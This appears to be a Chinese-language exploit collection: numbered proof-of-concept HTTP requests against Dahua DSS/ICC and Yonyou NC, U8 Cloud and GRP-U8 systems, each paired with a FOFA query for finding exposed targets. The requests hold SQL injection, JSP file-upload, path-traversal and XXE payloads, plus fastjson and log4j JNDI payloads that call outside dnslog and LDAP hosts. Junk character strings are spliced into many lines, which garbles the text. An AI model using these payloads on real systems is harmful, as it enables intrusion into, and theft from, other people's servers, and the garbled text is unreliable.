GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
  d9 Y5 [& ~- N1 TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
. _; y  h" W- \$ uAccept: */*
Accept-Language: en
6 O  H4 k: }" u  W' o% [Accept-Encoding: gzip
9 i4 L+ h4 \5 F% n1 d

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
1 ^) A, X4 q! T' yPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
1 j1 e4 D/ h+ mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: R# M  g. Q5 g1 h# H; uContent-Length: 345
- J) ~0 J9 B: @! ?. jAccept-Encoding: gzip
) f$ g- ]2 E( {* ~
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
# F0 y% }3 j/ n, X( |* \" w<s11:Body>
- u: Z  y  o# X    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
. t$ U, W+ ?4 e& y9 D; @! d+ U      <netMarkings>
# E6 ^! G% S- _       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
% P! g* P4 M+ K/ T8 N      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
2 T" g# `7 U) J) [</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
6 t/ v: I/ P  B9 S1 A3 ?  tFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
; G# C- j7 @0 lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; y. h& w. u* v0 P+ P1 }, \Accept-Encoding: gzip, deflate
Accept: */*
! e0 @, S& n; X" U9 DConnection: keep-alive
, N3 \; o+ [) f8 h4 y& D
2 q1 G; m. z# K! I
5 n) C, E* C& {* }# L
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
5 @: a: Z$ {, L+ A1 [  K; uGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
& r* ]8 g4 B8 XHost:
9 h# t$ e" o: y+ p, D! s$ tUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


) z: L8 w/ K  c; A  z0 L20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
$ E( P& C% d- {  E0 z7 u" e; yGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
$ ^6 n7 @0 L5 A8 X7 J6 H, J  }5 bHost: x.x.x.x
; [  x8 ^  V2 P1 f# D! mUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 @$ {% F" b- x, `( ]Connection: close
Accept: */*
Accept-Language: en
2 u+ G; j( L9 UAccept-Encoding: gzip
8 ^+ a5 Y. ?9 i6 y( V: t
% J2 n) \% B$ H+ W
) |' Y5 \- F* Y21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
4 u2 W9 [' ?. {3 `- EPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. `3 b3 w: L" u  u5 hHost: x.x.x.x
% {+ z' E0 e' A* d. r) w% bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; k6 W3 h3 }/ `' E" lContent-Length: 161
, O" O: a) {4 Q; i$ a* |1 fAccept-Encoding: gzip
Connection: close
* V0 j) z, \- ?% N& l( LContent-Type: application/json;charset=utf-8

. C1 u2 T) l) F* X3 N5 D% K- e{
1 z" J4 E# b! r3 W6 Q"a":{
; |; [+ }1 b) Y. q* `& p   "@type":"com.alibaba.fastjson.JSONObject",
6 ^$ l1 ~4 V5 T" E/ S! |9 x    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
! O' Q! n% I% S1 h7 @8 E/ qFOFA：icon_hash="-1935899595"
1 w. l2 L. P" MPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
& u" ?  W( Z% n& r; h$ sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: P- R# k$ x0 O! L  _# @Content-Type: application/json;charset=utf-8

: c& {$ j+ z, P$ j% y{
"loginName":"${jndi:ldap://dnslog}"
}
/ X" {+ a" C, q* O7 v
& z$ S- \" {# U6 `" k3 B
8 F0 g9 }; O: \5 I& g
; T/ I, E+ E7 t& Z# e6 b23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
8 P8 c$ d* y$ P5 e1 APOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
1 R# l9 z( x1 nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& y/ e" _3 D' b7 M# [Content-Type: application/json;charset=utf-8
# R2 M" B# t' h/ F- vAccept-Encoding: gzip
) Q4 J" R& W  F+ `Connection: close

2 q" C+ W# [+ q# d$ j( Q8 V6 R{
: F& w& b8 S4 L" f    "a":{
4 J! Y& I2 \1 l& e; {        "@type":"com.alibaba.fastjson.JSONObject",
5 k; s& q$ q; r9 _9 N! L       {"@type":"java.net.URL","val":"http://DNSLOG"}
# S7 d! j7 Y4 @' S0 n0 C        }""
}


24. 用友NC 6.5 accept.jsp任意文件上传
. u( |. M0 v  y! [3 C# W! }FOFA：icon_hash="1085941792"
. k" q* t9 c8 D0 f9 f: H' W; lPOST /aim/equipmap/accept.jsp HTTP/1.1
' J7 V0 k4 e1 T( x! ]0 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
9 ^: ], R& ]/ D' \; S! J/ BContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
, y3 J! e7 L  e+ x8 x4 l
5 N' \  L9 c* H* O* S- p4 ^<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
; \: Q, @2 d0 K/ D; z, J2 m
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
) N9 t' E# a( ?& [4 b) K- B
' }6 m; h6 }* V# p5 ?3 U6 ]
25. 用友NC registerServlet JNDI 远程代码执行
4 X9 {, l+ d+ B: c9 i  rFOFA：app="用友-UFIDA-NC"
. W! e! j  ?. s- `1 c9 V) V/ i2 bPOST /portal/registerServlet HTTP/1.1
" Q3 X% `( l/ O$ w6 ?+ w: Y0 JHost: your-ip
5 Z0 U) {* W6 h) D- i  c6 T( f! RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
& @6 [2 ~$ m4 Q4 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

7 W0 B% Z/ ]/ G6 Mtype=1&dsname=ldap://dnslog

: X: u6 w" O# j. ]3 f

8 `3 \4 s( H* T) D$ {- G26. 用友NC linkVoucher SQL注入
" W5 L* Z9 I& y. O- V7 rFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
4 |3 b! @! u) w) N& QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 y/ n/ \* I' V+ v: wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
1 P5 E/ }( a$ {! N) mConnection: keep-alive


1 b+ h% n  I" b9 u% M27. 用友 NC showcontent SQL注入
; U. l9 o  O1 n2 N! D9 iFOFA：icon_hash="1085941792"
+ }2 Q6 n% M+ |- N% CGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
1 @( X8 K, j; d$ i/ OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! k+ Q# [0 ~- l% ~" oAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


$ x3 A0 W2 @3 F2 Q: G28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
7 ^+ R/ ?' m+ J4 p! H- z+ cHost: x.x.x.x
1 G* r# A0 t2 l) Q5 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
  }5 d# g% ~  P' X- cConnection: close
6 B. M5 n% p$ P6 H9 ]Content-Length: 268
; N% A% @2 V, L8 {# }$ C& YContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
6 X' ?% Y6 b0 B' h
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
* D: ?2 }+ z' S! Z, I# ^; W- dContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
* G6 ]5 h7 z/ G# j0 Z- Q( _( ~
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
5 n& M$ `8 L) m1 e' N0 |" F4 h8 q0 }------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

; \# {4 q2 d" u1 L, N/ E
/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
7 g0 c, t7 |7 M; f, ^" Q3 P2 }: nFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- H- n! g% Y* x6 n8 |+ KGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
5 L' |/ \4 a4 I0 Z7 w3 f8 e7 g. aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# r/ y% A( B6 t  `" L0 _, kAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
* u; Y3 C* H3 M3 V( I7 a4 e4 V5 K

8 F7 L+ }& {# k8 V30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
* g, z* e& ?7 l! S; e8 jConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
& g) h8 L: g' k$ i6 u/ U/ AContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
* O" x  w  C; g- n: l( Jversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
. p8 ?- c% o& ^/ F0 Z) R$ v! J- \GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! g/ Z, W: H6 L3 R, G7 G! kHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# I4 x% T1 _" x$ e2 w( Y. B' IContent-Type: application/x-www-form-urlencoded


1 v- r+ ]( r7 _! {32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& N* a% {: b& a& H  V7 U- z% O( AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) L- e5 R+ B6 \" T$ d  yContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

2 O( `  y+ F2 p" p5 s0 U
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
3 R: ]7 t: \; [& Q0 CGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 Y9 L$ e) z% o4 z8 e, DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 m  E8 U7 Y# S. H7 u$ _2 [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

$ I$ I/ R, ?# b1 [
34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 R% A5 o% N& ]% ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- \0 W- ?* U: ^" q- YAccept-Encoding: gzip, deflate
Accept: */*
9 c- V! }2 B# l+ Z3 xConnection: keep-alive
9 f4 F% t3 Q- `5 T# K6 h; [

35. 用友NC-Cloud importhttpscer任意文件上传
0 O3 v  K: n6 ~# B7 T* nFOFA：app="用友-NC-Cloud"
# ?3 u% T) _8 ePOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
) U" y3 [3 j2 Y0 w7 d/ o; u- l& u+ OUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
% o( a( ~7 W1 l2 w$ u6 sAccept-Encoding: gzip, deflate
Accept: */*
- Y' b1 [* m* a' @/ W- w  E9 S5 EConnection: close
8 @! o1 A* n- ]! l& I3 yaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
( _! ^4 |& f* o0 h8 p( DContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
2 }0 v3 {' {7 f+ v5 O
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

3 M; I8 @# h  Y<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

: b. s. h5 S8 X' L& F" C# [' Y3 X
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
7 |7 T1 q8 q$ cPOST /uapws/soapFormat.ajax HTTP/1.1
- A$ D6 M  f$ Z0 }% B0 Z  \8 fHost: 192.168.40.130:8989
% _& S1 l/ B3 v" |/ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
; ^" u( M+ N) ^% M( C" N6 }& j/ YContent-Length: 263
& D3 B( n6 s  H8 e8 O( I' SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' _. ^* a& z* \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
1 u4 m; c$ m* G+ a  y" I  H# K- PUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
1 z- u' X9 \% ?& U2 g3 _

37. 用友NC-Cloud IUpdateService XXE
3 o' K5 z4 E4 T& l# W" yFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% O+ d5 R# s! H& P2 G% }1 \POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: b& I) K7 D4 a3 Q  Z! ?Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
, M/ T. I7 a$ g, f5 m1 gAccept-Encoding: gzip, deflate
/ J( V3 e% d" u9 v7 O- jAccept-Language: zh-CN,zh;q=0.9
, T4 p. i4 n  V" y, j  SConnection: close
4 |* t# O% k2 w* F$ gContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
* ]$ D0 D& M' V- r( \Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
$ Y2 W. `8 q$ Q0 D6 T9 ~5 s2 j, @<soapenv:Body>
9 E% h% o  s& U" D7 J) `% s<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
4 ~: e( ^* [% ^8 v2 A3 V! `- h<xxx/>]]></iup:string>
, k! V9 G. x& a</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

* ~1 e% n+ W" B& M% I
8 X" K/ g3 [0 J5 t/ s
38. 用友U8 Cloud smartweb2.RPC.d XXE
0 t& s, I; {5 }/ M- y- E# W0 UFOFA：app="用友-U8-Cloud"
) ^2 n4 x2 T; bPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
! t! i  ?& [0 t2 s9 Q9 eAccept-Encoding: gzip, deflate
# A) P, h8 {. XAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
' r5 W( v3 O. @. S( [' {
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

( P0 M3 ]* B( v' Z. e
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
$ Y) S6 w- W: NPOST /servlet/RegisterServlet HTTP/1.1
- }) Z! G0 l9 o& A0 v" p4 s# XHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
# ^: R2 c0 n+ g8 K& _# N  wConnection: close
Content-Length: 85
Accept: */*
+ Z8 I8 w  w" V2 j5 rAccept-Language: en
Content-Type: application/x-www-form-urlencoded
$ @6 }: W) h% [X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

# [5 V3 c+ ], k8 e1 c( ]usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
% E. V  d4 n0 K. @+ Z

4 d$ J! f6 ?3 t1 v2 h- ~, s40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
5 U' n8 j* O. yPOST /service/XChangeServlet HTTP/1.1
  u2 v1 r2 n1 m( \+ jHost: x.x.x.x
4 V" g# ^  Y. C) F3 k! T3 G# }User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. K5 q1 [* H% e4 n2 vContent-Type: text/xml
Connection: close
3 J8 O+ ~3 o# P. w, E/ N8 o
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
+ v' Y7 B5 c9 }. oFOFA：app="用友-U8-Cloud"
; X" z  v0 `/ R7 t+ gGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
* o1 q4 j9 }+ p; [. MAccept-Encoding: gzip
Connection: close


- m" |+ d# Q% }42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
6 {* W( x6 s: ^/ t2 a5 }- F0 [POST /u8qx/SmartUpload01.jsp HTTP/1.1
! w8 q- R) _+ B, MHost: x.x.x.x
* o1 D$ s' i$ @2 W0 u( o; }, v! ^' zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
  p. P- \3 f( x* _# \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
* K; T; H" [) c$ h. V
PAYLOAD


9 s- D) |$ Z1 G0 z# }/ c5 y  |http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
' l7 b! r4 m% [/ s$ K/ c" l7 R6 b
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
- e, j2 l" Z  F) K' g% H  ^9 cFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 _) w( K# y) N. o# G6 Y& J. kConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
. k! S7 x3 P6 v; k   <soapenv:Header/>
8 m  Y9 g! \# y0 H$ U   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
" |2 |! h% ?0 w5 f: n7 i. `5 H  @         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
& G" a2 ?; D* N" S      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
* Y7 V' ~3 e: ^! x" X5 }

# O! z7 @+ \8 G- U6 N' x44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
. l, ]0 L" Y5 R  M' x  ]; cGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
5 i' `1 N' S, @) GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& G2 Y  a5 Y) |- \4 C. _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


( L  C0 t9 c* Q2 H% J, {- z% e45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( r% J, @& c  OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' T! u% ~( E, d% r- w3 QContent-Type: application/x-www-form-urlencoded
9 J3 e' r7 G( o, rAccept-Encoding: gzip

& f, R! E7 g8 AreqData=<?xml version="1.0"?>
+ m/ a0 Z0 X/ A6 n( P<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. B( j' U: a7 u7 SFOFA：app="用友-GRP-U8"
& x; _9 B+ W* o! ^9 xGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
4 x) J- @) y* ~- t" ]8 T$ yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' X7 ]/ p4 z  w9 P& S

- v# `2 Z5 _0 k47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
: V+ [! L6 b- ]) hGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
$ K1 R2 o' N- u. l" H" D4 E# m* UCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
$ ^+ l( L) p* {# b- s/ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ f! p* T6 h8 e" `/ H8 x# UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

- E$ u/ `: o: |- \+ R
+ l$ }5 U; V  ]: }) N5 ^. i; K  I
/ [& L* |8 q1 l& A48. 用友U8 CRM swfupload 任意文件上传
